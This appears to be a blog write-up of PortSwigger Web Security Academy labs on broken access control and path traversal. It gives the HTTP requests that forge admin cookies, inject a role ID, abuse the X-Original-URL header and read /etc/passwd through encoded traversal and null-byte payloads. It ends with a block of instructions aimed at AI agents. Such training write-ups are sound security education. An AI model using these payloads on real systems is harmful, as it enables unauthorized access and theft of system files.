# Vulnerability Labs

***

## [Access control vulnerabilities](https://portswigger.net/web-security/all-labs#access-control-vulnerabilities)

> 🌐 Resources 🔗
>
> * 📽️ [Broken Access Control (Long Version) - Rana Khalil](https://www.youtube.com/playlist?list=PLuyTk2_mYISId4_l9YET7Gv29cHcNguq-)
> * [WSTG-ATHZ-02 - Testing for Bypassing Authorization Schema](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema)

### [Unprotected admin functionality](https://portswigger.net/web-security/access-control/lab-unprotected-admin-functionality)

> Find the admin panel and delete the user `carlos`.

```bash
GET /robots.txt

# Response
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 45

User-agent: *
Disallow: /administrator-panel
```

![](/files/daPoR2XybGi9TrXhn5KV)

```bash
GET /administrator-panel
```

![](/files/s6LP6jPnVywOssha0tCW)

```bash
GET /administrator-panel/delete?username=carlos
# User deleted
```

![](/files/CzaMJ4dHOBClhvLwxrdU)

![](/files/seAYv4EXKBdg2w2wBewU)

### [Unprotected admin functionality with unpredictable URL](https://portswigger.net/web-security/access-control/lab-unprotected-admin-functionality-with-unpredictable-url)

> Find the unpredictable admin panel and delete user `carlos`.

```bash
GET /login
```

![](/files/9KdfDwKJgOcirBxcnmdD)

* Admin panel found in the code of the `/` or `/login` page response for example

```bash
<script>
var isAdmin = false;
if (isAdmin) {
   var topLinksTag = document.getElementsByClassName("top-links")[0];
   var adminPanelTag = document.createElement('a');
   adminPanelTag.setAttribute('href', '/admin-ge6wcp');
   adminPanelTag.innerText = 'Admin panel';
   topLinksTag.append(adminPanelTag);
   var pTag = document.createElement('p');
   pTag.innerText = '|';
   topLinksTag.appendChild(pTag);
}
</script>
```

```bash
GET /admin-ge6wcp
```

![](/files/eFZq9pYwBDaCSkiP6kXI)

```bash
GET /admin-ge6wcp/delete?username=carlos
# User deleted
```

![](/files/laTaUJ4JIvr37GtLiNgd)

![](/files/0QSDe6RBQXF6HWKEsQWn)

### [User role controlled by request parameter](https://portswigger.net/web-security/access-control/lab-user-role-controlled-by-request-parameter)

> Access the `/admin` panel and use it to delete user `carlos`.
>
> Admin panel use a forgeable cookie to identify administrators.
>
> User's creds: `wiener`:`peter`

```bash
POST /login
# The response sets the cookie
```

![](/files/xNjjZNVzklo7Y0gApC9w)

```bash
GET /admin
```

![](/files/k9oqkxBT0Rqym6DNTlAq)

* Send this request to the repeater and forge the cookie with `Admin=true`

![](/files/a1E77YgGOvjuSR5hgldZ)

* Delete user `carlos` once the admin panel login is bypassed.
* Burp Proxy interception (or browser Dev Tools) can be used too, while logging in, to set the Cookie to `Admin=true`, and to access the Admin panel from `/my-account` .

```bash
# Request
GET /admin/delete?username=carlos HTTP/2
Host: 0a060030038bec7c8214d8b600eb00c1.web-security-academy.net
Cookie: Admin=true; session=dxgdmGbBWv76i4PMyyDoYYW666smj1er
...
```

![](/files/wS0Q9vEEYWYQrPTApOk4)

### [User role can be modified in user profile](https://portswigger.net/web-security/access-control/lab-user-role-can-be-modified-in-user-profile)

> App's `/admin` panel is accessible only to users with `roleid` = 2.
>
> Access the `/admin` panel and use it to delete user `carlos`.

```bash
POST /login HTTP/2
...
username=wiener&password=peter
```

* Once logged in, update the email

```bash
POST /my-account/change-email
```

![](/files/wU67hqJEN0DVPJjnJnZm)

* Send this POST request to the repeater and add `"roleid:2"` into the JSON body

```bash
POST /my-account/change-email HTTP/2
Host: 0a2200c20471b32f842c9ada00f700c3.web-security-academy.net
...
{"email":"lab@example.com",
 "roleid": 2
}
```

![](/files/ZsClcjRiWFOU8UELBR78)

* Browse to `/admin` and delete user

![](/files/LIpVpApOhyjHoHzE3wdE)

### [URL-based access control can be circumvented](https://portswigger.net/web-security/access-control/lab-url-based-access-control-can-be-circumvented)

> External access to `/admin` panel is blocked at front-end. Back-end supports `X-Original-URL` header.
>
> Access the `/admin` panel and use it to delete user `carlos`.

```bash
GET /admin
```

![](/files/1OAlOKyx1RdU2dGUo4SQ)

* Send a Request to `/` with an `X-Original-URL` header pointing top a non-existing resource
  * With re response `404 Not Found` it means the app supports the special request headers

```bash
GET / HTTP/2
X-Original-Url: /invalid
...
```

![](/files/VH67UwjhlToDRbZtEWI9)

* Send an allowed URL as main and the real target in the `X-Original-URL`

```bash
GET / HTTP/2
X-Original-Url: /admin
...
```

![](/files/Ssg6yQFUJ3M3gFaCaaCQ)

* Delete user using the `X-Original-Url` header

```bash
GET /?username=carlos HTTP/2
X-Original-Url: /admin/delete
...
```

![](/files/277TVmWNFNYLPNCQPEF3)

![](/files/iz06smBAphubMaR49sBz)

### [Method-based access control can be circumvented](https://portswigger.net/web-security/access-control/lab-method-based-access-control-can-be-circumvented)

> App's access control is based on the HTTP method of requests.
>
> Admin creds: `administrator`:`admin`.
>
> Login with `wiener`:`peter` credentials and exploit the access control to promote the user to an administrator.

* Login as `administrator`, promote `carlos` and send the request to the repeater

![](/files/MKmxu81QleRQ7ZXSHS6P)

* Login with `wiener` in an incognito windows and get the session cookie. Input the session cookie in the existing repeater request -> `Unauthorized`

![](/files/g0SOBDb4ipK3t4y4x6sd)

* Change the method to `POSTX` -> `Missing parameter 'username'`

![](/files/n7bj9DfxqxHAISuoCS8n)

* Right click on the request and convert it to `GET` with `Change request method`
  * Set the username to `wiener` and send it
  * `GET` method is allowed

```bash
GET /admin-roles?username=wiener&action=upgrade HTTP/2
```

![](/files/xlHH2FBzY8lZEXbLnBQl)

* `wiener` user has access to the admin panel now

### [User ID controlled by request parameter](https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter)

> Login with `wiener`:`peter` credentials and exploit the horizontal privesc vulnerability on the account page to get `carlos`'s API key.

* Login as `wiener` and send the request to the repeater
* Change the `id` to `id=carlos` and send the GET request to get the Carlos's API key

```bash
GET /my-account?id=carlos HTTP/2
```

![](/files/1cPAHr4bDwK9f7zOZ4ZG)

* Click the `Submit solution` button and paste the API key to solve the lab - `eXXoHWSpwaZpxBAXr7MbVt9GMoEuCpy9`

![](/files/HPi21ns7UGtksTLZ1al5)

### [User ID controlled by request parameter, with unpredictable user IDs](https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter-with-unpredictable-user-ids)

> The app identifies users with GUIDs.
>
> Login with `wiener`:`peter` credentials and exploit the horizontal privesc vulnerability on the account page to get `carlos`'s GUID and API key.

* Find a `carlos` blog post and get its user ID. `/blogs` leaks the account's `userID`

![](/files/yKupF1oX7o2GCuB27EL5)

```bash
userId=fe62ab1c-3eb7-47b8-862b-1c1c47a5490c
```

* Login as `wiener`, go to the account page and send the request to the repeater
* Change the `id` to `id=fe62ab1c-3eb7-47b8-862b-1c1c47a5490c` and send the GET request to get the Carlos's API key

```bash
GET /my-account?id=fe62ab1c-3eb7-47b8-862b-1c1c47a5490c HTTP/2
```

![](/files/gE8u1iaqV04g93XywKtA)

* Click the `Submit solution` button and paste the API key to solve the lab - `p3UtBNlmwKtAnEf0PKgBcW9sPQNJcMLq`

### [User ID controlled by request parameter with data leakage in redirect](https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter-with-data-leakage-in-redirect)

> The app leaks sensitive information in the body of a redirect response
>
> Login with `wiener`:`peter` credentials and exploit the access control vulnerability to get `carlos`'s API key.

* Login as `wiener`, access the account page via browser and change the `id` to `id=carlos` and send the GET request to get the Carlos's API key

```bash
GET /my-account?id=carlos HTTP/2

# Response
HTTP/2 302 Found
```

* This request is redirected to the login page. Check the redirect body content in BurpSuite and find the `carlos` API key

![](/files/dehNg20JsvlSiv1RcbJf)

* Click the `Submit solution` button and paste the API key to solve the lab - `ah9Nwj1bvuWv5uvWPK86EBHZCnghqRHe`

### [User ID controlled by request parameter with password disclosure](https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter-with-password-disclosure)

> The user account page leaks password in a masked input.
>
> Login with `wiener`:`peter` credentials, retrieve `administrator` password and delete `carlos` user.

* Login as `wiener` and access the account page
* Change the `id` to `id=administrator` and check the response containing the administrator's password

![](/files/3igS3hUgU2OpT4KOy58K)

* Login as `administrator:dta5qwrsg998j416zqh0` and delete `carlos`

![](/files/Hh7ujSGhK5WIZBTXQPR6)

***

## [Path traversal](https://portswigger.net/web-security/all-labs#path-traversal)

> 🌐 Resources 🔗
>
> * 📽️ [What is Directory Traversal? - Intigriti](https://www.youtube.com/watch?v=17KYOIf5ZbU)
> * 📽️ [Directory Traversal attacks are scary easy - TCM](https://www.youtube.com/watch?v=99yJtmmtrJU)
> * 📽️ [Directory Traversal Playlist- z3nsh3ll](https://www.youtube.com/playlist?list=PLWvfB8dRFqbbO2wRawnn6u8JlfttA74wE)
> * 📽️ [Directory Traversal (Long Version) - Rana Khalil](https://www.youtube.com/playlist?list=PLuyTk2_mYISL2DdD_m1ELEjpiPKxV98MO)
> * [WSTG-ATHZ-01 - Testing Directory Traversal File Include](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include)

### [Simple case](https://portswigger.net/web-security/file-path-traversal/lab-simple)

Open `BurpSuite` - Turn off the intercept - Open its internal Browser and open the lab link - Check `HTTP history` for intercepted requests - Check `Images` in the Filter settings

* Find a fetched product image Request
  * right click on it and `Send to Repeater`, or select it and press `CTRL+R`
* Change the Request

```bash
# From this
GET /image?filename=5.jpg

# To this
GET /image?filename=../../../etc/passwd
```

![/etc/passwd content](/files/rbvdgCFdVXSZt82snIe6)

### [Traversal sequences blocked with absolute path bypass](https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass)

The app blocks path traversal sequences but treats the filename as relative to a default working directory.

```bash
GET /image?filename=21.jpg

GET /image?filename=../../../etc/passwd # 400 Bad Request

# Try with absolute path
GET /image?filename=/etc/passwd
```

![](/files/VnXwLtGSi2i8Y1jn4fuf)

### [Traversal sequences stripped non-recursively](https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively)

The app strips path traversal sequences from the supplied filename before using it.

```bash
GET /image?filename=....//....//....//etc/passwd
```

![](/files/zhvuxmomCRtDroOYOKLE)

### [Traversal sequences stripped with superfluous URL-decode](https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode)

The app blocks input containing path traversal sequences and then performs URL-decode before using it.

* With `../../../etc/passwd` it does not work
* Use BurpSuite **Decoder** to ***double URL-Encode*** the `../../../etc/passwd` string
  * `\` `/` should always be encoded

```bash
..%2f..%2f..%2fetc%2fpasswd # 400 Bad Request - URL-encoded once

# Doubl URL-Encoded
GET /image?filename=..%252f..%252f..%252fetc%252fpasswd
```

![](/files/7aGUvoNKTJtxIPFEe0Vv)

### [Validation of start of path](https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path)

The application transmits the full file path and validates that it starts with the expected folder.

```bash
GET /image?filename=/var/www/images/../../../etc/passwd
# or (better)
GET /image?filename=%2fvar%2fwww%2fimages%2f..%2f..%2f..%2fetc%2fpasswd
```

![](/files/8hn2gafn7GR78dKb9hbp)

### [Validation of file extension with null byte bypass](https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass)

The app validates the supplied filename end with expected file extension.

* Use a null byte character `\0` to represent the end of the string
  * `../../../etc/passwd\0.png` > `..%2f..%2f..%2fetc%2fpasswd%00.png`
  * the O.S. requests retrieval of the string, it assumes the string is terminated after `passwd`

```bash
GET /image?filename=../../../etc/passwd%00.png
# URL-encoded
GET /image?filename=..%2f..%2f..%2fetc%2fpasswd%00.png
```

![](/files/z8sJSkSoNbJDOqqL8Ato)

***


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.syselement.com/home/cyber-everything/web/portswigger/all-labs.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
